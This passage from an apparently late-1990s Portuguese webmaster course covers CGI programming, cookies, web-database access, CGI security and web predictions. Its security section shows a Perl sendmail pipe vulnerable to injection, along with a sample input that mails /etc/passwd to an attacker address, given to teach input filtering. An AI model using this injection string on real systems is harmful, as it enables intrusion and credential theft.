acessando o site, como no exemplo abaixo (copyright de chuck.musciano@sunworld.com):
<!--#exec cmd=/usr/local/bin/check-domain domain internal.html external.html -->

CGI
O CGI (Common Gateway Interface) serve para fazer a ligao entre o servidor www e a mquina
servidora. Ele utilizado para qualquer tipo de servio, desde contadores at acesso a banco de dados. A
utilizao de CGIs no servidor geralmente est relacionada com o processamento de dados enviados por
formulrios. A programao no complicada, e se voc consegue fazer um programa que leia a STDIN e
escreva na STDOUT (STandard OUTput), ento voc consegue escrever CGIs. Se voc no programador,
infelizmente esse material no vai te ajudar muito. Voc tem que aprender as noes de programao ANTES
de qualquer coisa. Vamos comear explicando o que CGI.
CGI NO uma linguagem, um programa. Um CGI pode ser escrito em QUALQUER linguagem
que leia a STDIN, escreva na STDOUT e consiga ler variveis de ambiente. No Unix, praticamente TODAS
as linguagens tem esses atributos, mas as preferidas so C, Perl ou mesmo as Shells (sh, csh, bsh).

A estrutura de um CGI simples, e consiste basicamente de 3 passos:


Ler a entrada dos dados
Manipul-los
Devolver a resposta em HTML.
Vamos descrever ento o primeiro e o ltimo passo, sendo que o passo intermedirio fica a seu cargo

:)

Lendo a STDIN
Quando um usurio envia um formulrio, seu programa recebe os dados como um conjunto de
campos no formato nome=valor. Os nomes so definidos no formulrio, quando voc define os campos com
as instrues INPUT, SELECT, etc. Os valores so qualquer coisa que o usurio digitou ou selecionou.
Os dados so passados para o seu programa como uma string longa, que voc precisa quebrar para
separar os valores. Isto no complicado, e temos comandos na shell Unix (como CUT ou AWK) que servem
para isso. Existem rotinas prontas na Internet que fazem isso tambm.
O formato dessa string :
name1=value1&name2=value2&name3=value3

Ela vem nesse formato para facilitar a diviso. Os sinais de & dividem as variveis.
Mais dois detalhes: no caso de um formulrio com a instruo TEXTAREA, os espaos em branco
so convertidos em sinais de +, e caracteres acentuados e os sinais de =, &, e outros que so utilizados
na montagem da string so convertidos para o seu cdigo em ASCII. O programa que separa as varveis
normalmente j faz a converso desses valores.
Essa string pode ser passada para o seu programa de duas maneiras diferentes, dependendo do
mtodo que foi especificado na instruo METHOD do formulrio:

No mtodo GET, a string enviada via uma varivel de ambiente, chamada QUERY_STRING.
No mtodo POST, ela lida da STDIN.
O mtodo POST o mais indicado para formulrios complexos.

Enviando para a STDOUT


Depois do programa ter recebido as variveis e processado os valores, hora de mandar uma
resposta ao cliente. muito mais simples do que receber a entrada. Siga os passos:

Escreva a linha Content-Type: text/html (sem as aspas)


Escreva uma linha em branco (Enter)
Escreva a sada que voc deseja enviar ao cliente.

Apenas isso. Quando o programa terminar, a pgina de resposta automaticamente vai para a
STDOUT, e o servidor vai enviar o contedo para o cliente.
Isso significa que seu programa, na verdade, est gerando cdigo HTML em tempo real. No
complicado, e o HTML foi desenhado para ser uma linguagem simples.
Nota:
A sada do comando pode ser um arquivo texto (um relatrio, por exemplo) ou ento uma imagem. Nesse
caso, basta alterar o Content-Type para o tipo apropriado.

Como implementar o conceito de transao nos meus programas CGI ?


Como explicado no curso de Webmaster Bsico , o protocolo www stateless, quer dizer, no existe
nenhum tipo de contato entre cliente e servidor, a no ser em transferncia de dados. Na prtica, isso quer
dizer que no tem jeito de manter uma transao usando apenas HTML e CGI, por que dessa maneira o
servidor www no tem jeito de diferenciar efetivamente o cliente. Como exemplo de transao, podemos citar
uma incluso de dados. O cliente tem que fornecer vrios dados em seqncia, que so consistidos. Caso
estejam corretos, realizada a incluso. Esses dados podem levar o cliente a vrias telas diferentes, de acordo
com os dados dos campos anteriores. Num formulrio www, existe pouca coisa que se pode fazer com
respeito a consistncias, e menos ainda com relao continuidade da transao.
Mas existem maneiras de identificar o cliente, de modo que o programa CGI no servidor possa dar
continuidade transao do ponto onde parou. Uma das maneiras usar campos escondidos no prprio
formulrio, como no exemplo:
<INPUT TYPE=hidden NAME=user VALUE=123>

Com essa informao, o CGI pode identificar o cliente. Note que hidden no quer dizer secreto,
isto , o usurio sempre pode clicar no View Source.
Outra maneira utilizar a varivel de ambiente PATH_INFO. Essa varivel serve para a passagem de
texto adicional na URL que vai ser acessada pelo programa CGI depois do nome do programa. Por exemplo,
se a URL do seu programa for:
http://www.unicamp.br/cgi-bin/lista.cgi

Mas voc abrir em vez disso a URL:


http://www.unicamp.br/cgi-bin/lista.cgi/fabio/gacli

O programa lista.cgi vai ser executado e ter a sua disposio uma varivel de ambiente que vai
conter o texto passado aps a chamada do CGI. Desse modo seu programa tambm consegue manter
informaes para o usurio.
S um detalhe: URLs tem um tamanho mximo de 1024 caracteres. Se o nmero de informao
crescer muito, pode-se criar um arquivo temporrio no servidor, que contenha todos os parmetros e que seja
acessvel por um ndice nico, mandado via PATH_INFO.
Outra maneira de manter a transao usando Cookies. O Cookie um mecanismo novo, proposto
pela Netscape (mas que hoje aceito na maioria dos browsers) que permite ao browser manter informaes
que so gravadas pelo servidor. Toda vez que o cliente entrar em contato com o servidor que programou o
Cookie, ele vai enviar o contedo dos Cookies para esse servidor.
Por exemplo, seu programa CGI pode usar a seguinte rotina para programar um Cookie:
echo Content-type: text/html
echo
echo Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Jul-97 23:59:59 GMT; path=/cgi-bin/
echo <h1>Texto da pgina<h1>
...

Essa linha gera um Cookie que sempre vai ser enviado de volta para seu servidor com qualquer
pedido de documento que tenha a palavra /cgi-bin/ na URL. O Cookie vai continuar a ser enviado at sua data
de expirao. O tempo de expirao deve ser o GMT.
Quando o programa for acessado novamente pelo usurio, o valor dos Cookies vai ser passado pela
varivel de ambiente HTTP_COOKIE. Cada Cookie vai ser apresentado no formato
NOME=VALOR;NOME1=VALOR1;...;NOMEn=VALORn

Veja a referncia da Netscape ao uso do Cookie para maiores esclarecimentos.

Acesso a bancos de dados


O servidor www capaz de acessar dados armazenados no servidor. Isso pode ser feito de diversas
maneiras, desde programao de interfaces com o banco de dados atravs de CGIs at a compra de um
SGBD que permita o acesso via protocolo HTTP.
Em qualquer caso, o acesso a bases de dados representa um aumento na preocupao em termos de
segurana, uma vez que os dados vo ficar mais expostos e vulnerveis a ataques, uma vez que a base est
ligada de alguma maneira ao servidor.
Quando o projeto de ligao for iniciado, deve-se inicialmente considerar os dados que devero ser
disponibilizados e a maneira de se concretizar o acesso. Devemos lembrar que no existe o conceito de
transao HTTP, isto , no podemos fazer com que as vrias telas de uma incluso, por exemplo, sejam
dependentes umas das outras de maneira automtica. Isso deve ser feito usando cookies e outras tcnicas para
armazenamento de dados temporrios, o que nos traz uma mudana no paradigma para a programao,
tornando esse tipo de aplicao um pouco mais trabalhoso para confeccionar.
Devemos lembrar tambm que o HTML no permite consistncias nos campos de um formulrio,
por exemplo. Caso isso seja necessrio, devemos usar Java ou Javascript.

Banco de dados, clientes


O cliente www (Netscape, Internet Explorer, etc.) funciona mandando um pedido para um servidor
www, que recebe o pedido, interpreta e devolve o resultado. O cliente recebe o HTML que informa como ele
deve proceder quando houver a interao do usurio (o famoso click). O HTML permite a confeco de
formulrios para entrada de dados, de modo que o servidor www consegue receber um pedido parametrizado.
Esses parmetros podem ser enviados para um programa no servidor (Common Gateway Interface,
ou CGI), que por sua vez faz o acesso base de dados (que est na mesma mquina). Esse programa gera um
relatrio e o devolve ao cliente. A integrao com a base assim se completa, no esquema abaixo:

Num ambiente de produo comum, temos uma linguagem especializada, na qual o desenvolvedor
tem acesso a uma srie de rotinas para criar telas de entrada de dados, relatrios de sada, e linguagem de
acesso base de dados. O HTTP inicialmente no foi projetado como um ambiente que faria acesso a bancos
de dados, ento essas rotinas tem que ser implementadas utilizando criatividade e pacincia.
Na parte do cliente, o principal problema que o HTML uma linguagem de editorao, e no tem
nenhuma instruo para consistncia dos campos. Para isso, utiliza-se mais comumente um applet Java, ou
cdigo Javascript, ou LiveWire (Netscape), ou Visual Basic Scripting (Microsoft). Algumas dessas solues
no se aplicam a todos os browsers (como o VBS), obrigando a adequaes nem sempre funcionais.
Voc pode optar por consistncias simples (que no tem interao com a base), ou por rotinas mais
complexas, permitidas por Java+JDBC, ou por LiveWire ou VBS. Essas tecnologias permitem que o HTTP
entre em contato com a base de dados no servidor. No primeiro caso, as consistncias tero que ser
implementadas em tempo de programa, e caso haja erro o programa ter de acus-lo e reapresentar o
formulrio.
Uma vez escolhido o mtodo de consistncia, vamos ao servidor.

Base de dados, servidores


Depois dos detalhes no cliente terem sido resolvidos, hora da estratgia de acesso propriamente
dita, no servidor. Basicamente, os bancos de dados hoje em dia esto em WindowsNT (com Access, FoxPro,
etc), em mquinas Unix (com Informix, Oracle, Sybase, etc) ou em mquinas de grande porte (com RDB,
DB2, etc). Apesar da variedade, identificamos apenas dois casos distintos: a base de dados pode estar na
mesma mquina do servidor www ou no. Normalmente acontece o primeiro caso, mas existem
procedimentos para o segundo caso tambm.
SGDB e WWW no mesmo servidor.
Nesse caso, temos uma srie de estratgias que podem ser adotadas. Se a base de dados j existe, a
maneira mais simples de fazer a conexo utilizando tecnologia j oferecida por alguns fabricantes de
SGDBs, como a Oracle ou a Microsoft, que tem tecnologias prontas para o acesso. O nico detalhe que
essas tecnologias so proprietrias, e exigem uma srie de produtos especficos para funcionarem.
Uma outra opo a utilizao de CGIs, que podem ser feitos em qualquer linguagem que faa o
acesso ao banco de dados, via SQL puro ou ODBC. Nesse caso, no importa a linguagem, e na soluo com
ODBC, alguns fabricantes oferecem gratuitamente seus drivers.
Uma soluo intermediria entre a soluo proprietria e a soluo CGI utilizando produtos que
permitem a ligao utilizando linguagens no proprietrias, como no caso do LiveWire.
Se a base no existe, qualquer soluo acima pode ser escolhida, e existem outras (at de software
shareware) que foram desenhadas para esse tipo de acesso, como o Mini Sql, que conta com uma interface
para acesso, o W3-mSQL.

Base de dados, servidores


SGDB e WWW em servidores separados.
Esse caso um pouco mais complicado. Aqui teremos que nos concentrar na conexo entre as
mquinas, que varia bastante entre as plataformas. E em alguns casos, no possvel. Separamos 2 opes
diferentes para estudo.
ODBC e afins
Aqui temos uma mquina com um servidor www qualquer, ligado via ODBC a outra mquina, que
tem o SGBD, como no esquema abaixo:

Essa soluo prtica, e permite a ligao de praticamente todos os SGBD. Entretanto, no elimina
a necessidade de um CGI onde est o servidor www, para que possamos enviar o SQL para a outra mquina.
A performance excelente, e permite a reutilizao dos CGIs, caso haja alteraes no ambiente (a interface
ODBC sempre a mesma).
Essa soluo genrica, e podemos aproveitar a ligao ODBC para ligar outros servidores. Como
exemplo, podemos citar o SQLServer da Microsoft, que tem a capacidade de ligao com um SNAServer, o
que torna possvel a ligao de bases em Mainframes IBM com um servidor WindowsNT, de modo que os
dados possam ser disponibilizados da mesma maneira.
Outras maneiras
Solues feitas sob medida tambm podem ser criadas. A Unicamp testou com sucesso 3 solues
para acesso, todas elas tendo em vista necessidades especficas de nosso ambiente.
Uma das opes, ligando duas servidoras Unix, foi fazer um CGI que fazia uma chamada via RSH
para outra servidora Unix que tem uma base de dados baseada em Informix. Esse RSH enviava os parmetros
para um programa 4GL (linguagem de desenvolvimento do Informix) que executava uma aplicao que
acessava a base e trazia o relatrio, que era enviado por sua vez de volta ao servidor www. Essa opo
considerada lenta, e insegura, pois a RSH supe que as duas mquinas tem uma relao de confiana e
segurana entre elas, o que no era verdadeiro.
Outra opo consistia em ter um servidor www principal, que serve pginas e formulrios, e outro
servidor www simples, que s executa CGIs. Nesse caso, o cliente conecta no primeiro e recebe um
formulrio que ao ser preenchido, enviado para o segundo servidor, que executa um CGI em Pascal que faz
a pesquisa na base, enviando o relatrio para o cliente. Essa opo uniformiza o uso dos formulrios, e torna
segura a conexo, pois os dados so enviados via mtodo POST e no necessita de nenhum relacionamento
especial entre as mquinas. Mas tambm lenta.
Essa opo permite at que uma linguagem com mtodos de acesso a rede (como Visual Basic 5.0,
Visual C++ 5.0 ou Java) possa acessar vrias bases num s programa, como no esquema abaixo:

Uma ltima opo testada com sucesso um CGI no servidor www que envia um pedido ao
Mainframe IBM com pedidos de consulta. Esse pedido interpretado pelo JES2 (gerenciador de aplicaes
do IBM) e executado por um programa Cobol, que recebe os parmetros, faz a consulta na base e devolve os
resultados. A comunicao entre o Mainframe e a mquina feita via FTP. Essa a soluo mais lenta e
insegura, pois deve existir uma rea que tenha privilgios para leitura na base, e que no pede senha para
entrar.
As trs opes funcionam, seus tempos de resposta variam bastante e so todas inseguras. Para
segurana em aplicaes distribudas no basta apenas encriptar os dados, temos que garantir a integridade
das informaes e que a transao realmente se completou de maneira correta, tanto do lado do cliente quando
do lado do servidor. Isso conseguido via solues prontas de servidor de certificados e transaes. Existem
vrias solues no mercado, como por exemplo, a da Netscape.

Segurana nos CGIs


O CGI (Common Gateway Interface) hoje em dia uma das mais usadas ferramentas para acesso a
dados e execuo de praticamente qualquer tipo de servio. Pela sua prpria natureza, o CGI gera brechas de
segurana que podem causar grandes estragos na mquina onde o servidor www est instalado.
De maneira geral o CGI feito para executar algum processamento, que normalmente o necessita de
dados (parmetros) para funcionar. Esses dados, no ambiente www, so adquiridos via formulrio. O cuidado
com as informaes recebidas um dos pontos iniciais para se prevenir sobre a questo segurana no
servidor.
Nunca subestime o tempo que um hacker vai usar para tentar entrar no seu servidor. Para ele, isto
uma forma de jogo; eles esto tentando provar a eles mesmos e a voc que eles na verdade so mais espertos
que voc. A maioria deles vai tentar obter acesso conta mais privilegiada que seu sistema possui, e
normalmente far isso via rede. Administradores preguiosos e programas mal escritos podem dar a um
hacker exatamente o que ele precisa para isso.
Muitos programas cgi so vulnerveis, especialmente aqueles que esto liberados na Internet, uma
vez que todos tiveram tempo de analis-lo e explorar suas eventuais falhas. Muitos desses programas so
considerados perigosos h mais de 1 ano, e mesmo assim encontram-se vrios servidores ainda funcionando
com esses produtos (como o phf.cgi, que era distribudo junto com os servidores Apache desde janeiro de
1996). At mesmo o programa count.cgi, o mais comum programa para incluir contadores numa pgina teve
um bug reportado no comeo do ano.
Como medidas bsicas para proteger seus scripts desses ataques, o primeiro conselho NUNCA
executar seu servidor www com um usurio privilegiado. Muitos administradores no querem perder tempo
resolvendo problemas de permisses, ento eles resolvem simplificar as coisas executando seu httpd com
permisso do administrador. Isso claramente compromete a segurana, uma vez que os scripts e os cgis so
executados com o privilgio do usurio sob o qual o servidor executado.
O prximo passo se livrar de todos os scripts que vieram de exemplo com o servidor, ou aqueles
que voc no utiliza. Esses produtos, se ficarem perdidos no seu servidor, podem virar uma porta de entrada
para intrusos depois de bem estudados por eles.
interessante que apenas o usurio responsvel (ou o Webmaster) tenha acesso ao diretrio de
scripts, para evitar que algum usurio no autorizado coloque algum programa e o execute. Lembre-se que um
hacker no ataca necessariamente pela rede, e muitas empresas tem prejuzos com ataques vindos de seus
prprios empregados. O usurio habilitado para colocar os programas deve examinar cuidadosamente o
cdigo do programa, test-lo de todas as maneiras possveis e verificar suas permisses de execuo. O
desenvolvedor deve tomar cuidado o uso com caracteres que tem significado especial para o sistema
operacional, como os |, >, <, ;, etc.
Procure incorporar ao programa uma rotina de consistncia inicial que permita ao usurio apenas
enviar caracteres permitidos (como os do conjunto entre A a Z e entre 0 a 9).
Uma das maneiras mais seguras de proteger seus programas do estudo de outras pessoas usar
apenas programas compilados, que no permitem acesso ao cdigo fonte. Isso torna mais difcil algum
estudar seu programa e descobrir suas eventuais falhas. Um programa C compilado oferece menos perigo do
que um programa Perl, que interpretado.
Chamadas diretas ao sistema, ou a execuo de aplicativos sem tratamento pode fornecer material
para invasores. Por exemplo, um programa em Perl que envia mail:
...
open MAIL, | /usr/lib/sendmail $destino
|| die Cant open pipe: $!\n;
...

Se um hacker enviar pelo formulrio a linha abaixo, que fosse atribuda varivel $destino:
; cat /etc/passwd | mail hacker@devil.com

Um modo de evitar esse tipo de abordagem evitar que o comando leia os parmetros diretamente,
ou filtrar a entrada, para evitar ler o caracter ;.

O ambiente no futuro
Basicamente, hoje, o servidor www se limita a receber pedidos e passar os arquivos. Ele cumpre
muito bem a funo para o qual foi desenhado, mas seus idealizadores nunca imaginaram que o ambiente iria
se tornar o front-end para aplicaes mais desejado do mercado. Ainda existe uma srie de detalhes a serem
resolvidos, mas a tendncia daqui para frente que o ambiente deve ser gradualmente integrado com servios
comuns de rede. Isso vai facilitar a incluso e recuperao de informaes, e gradualmente o HTML ir
desaparecer. Dessa maneira, se tornar uma poderosa ferramenta de controle gerencial e de busca de
informaes, tudo integrado na mesma interface. Tudo com controle de acesso, segurana da privacidade da
informao, workflow, etc.
A nova verso do HTTP (1.1) prev a implementao de conexo persistente, compresso de dados
em tempo de envio, a integrao de um cache de documentos mais acessados, e novos mtodos para acesso de
dados, tanto para receb-los quanto para carreg-los. O protocolo vai ser mais rpido, eliminando o slow start,
que faz com que a conexo www seja lenta. Especialistas dizem que s de implementar clientes e servidores
com o novo HTTP, j teremos um aumento de performance de at 4 vezes. Veja as pginas do W3C para
maiores detalhes.
Se a tendncia se confirmar, o novo ambiente resultante desses novos padres vai exigir mquinas
cada vez maiores e Webmasters cada vez mais especializados nesse ambiente, at que finalmente o usurio
local poder ter toda sua rea de trabalho num site www, que pode ser acessado via cliente www de qualquer
lugar do mundo, com toda a segurana e de qualquer plataforma.
Em 1996, 90% dos browsers eram Netscape, e sua verso 2.0 ainda estava em beta. O Internet
Explorer ainda estava em sua primeira verso, e o Windows95 estava no mercado h apenas 4 meses. O
HTML ainda estava na verso 2.0, que trouxe a tag <TABLE>. Falava-se de HTML 3.0, que traria os frames.
A maioria das pessoas usavam servidores Apache e CERN, e quase todos os clientes nem sabiam o que era
uma URL.
Em 2 anos, Netscape e Explorer passaram para a verso 4.0, no se fala mais de frames e sim de
Style Sheets, a estamos prximos ao HTML 4.0. Existem dezenas de servidores no mercado, muitos em
ambiente NT, a maioria oferecendo mais do que apenas pginas, mas vendas on-line, acesso a banco de
dados, e todo o mundo sabe o que a web hoje em dia.
Isso prova que fazer previses a respeito desse ambiente bobagem. Mas existem algumas
consideraes, obtidas de experincia de alguns mestres na web, sobre o que ir acontecer a curto prazo.
Relacionamos algumas.
XML: O XML (Extensible Markup Language) uma verso simplificada do SGML (Standardized General
Markup Language). O SGML usado para criar linguagens especficas de apresentao. O HTML, por
exemplo, foi criado usando os padres SGML. Quando o XML apareceu, muitos disseram que ele ir
substituir o HTML. Mas isso no ir acontecer, pois elas se prestam a coisas diferentes, e o XML muito
mais difcil de usar. Diferentemente do HTML, voc no pode criar pginas com o XML, mas definir uma
linguagem para ento definir as pginas. Como as linguagens so dependentes dos browsers, voc teria que
criar plug-ins para os browsers reconhecerem sua linguagem. O processo todo muito complicado para ser
utilizado por um usurio e um cliente comum.
HTML 4.0: Por muitos anos o padro HTML foi lanado para alguns meses depois estar desatualizado. No
incio a Netscape puxava o carro, introduzindo novas tags que eram depois copiadas pelos outros browsers.
H algum tempo no se criam novas tags, e agora a verso 4.0 deve chegar com todas as tags existentes j
formalizadas e vai definir o que todos os browsers iro entender. Diz-se que essa verso ir trazer como
novidades algumas extenses de <TABLE> e formalizar os frames. Seu lanamento est previsto para 1998.
A verso 5.0 deve sair prximo ao ano 2000.
Ferramentas de autoria: Depois de alguns meses que o HTML foi lanado, surgiram os primeiros editores
para facilitar a vida das pessoas que trabalhavam com ele. Quase 1 ano depois, os editores WYSIWYG
prometiam que ningum mais teria que aprender HTML para fazer suas pginas. Mas esses editores quase
sempre se desatualizavam em alguns meses, medida que novas tags iam sendo lanadas e eles no ofereciam
uma viso global da estrutura do site. Hoje em dia, existem produtos que realmente fazem a integrao
homem-site, oferecendo recursos suficientes que realmente tornam a manuteno de um site e de seu
contedo muito mais simples. A utilizao desse tipo de produto vai explodir daqui para frente.

Style Sheets: As Style Sheets surgiram em 1997, e so suportadas pelo Netscape e pelo Explorer. Mas at
hoje poucas pessoas usam essa tcnica. Ela permite que um cliente, mesmo utilizando um browser
incompatvel com a tecnologia ainda visualize uma pgina comum, permitindo que o usurio ainda tenha
acesso informao. E quando esse usurio fizer um upgrade de seu browser, ele ter uma grata surpresa. As
Style Sheets tornam a manuteno do layout e das fontes uma coisa muito fcil, e so vlidas por partes ou
pelo seu site todo. Quer mudar suas cores de fundo ? Altere sua Style Sheet e todo seu site acompanhar a
mudana. Em 1998, mais e mais designers iro estudar e implementar essa tecnologia, que apesar de chegar
devagar, vai chegar para ficar.

Links Recomendados
Netscape Enterprise Developer - http://www.ne-dev.com/
Wired - http://www.wired.com/
Sun On-line http://www.sun.com/

Você também pode gostar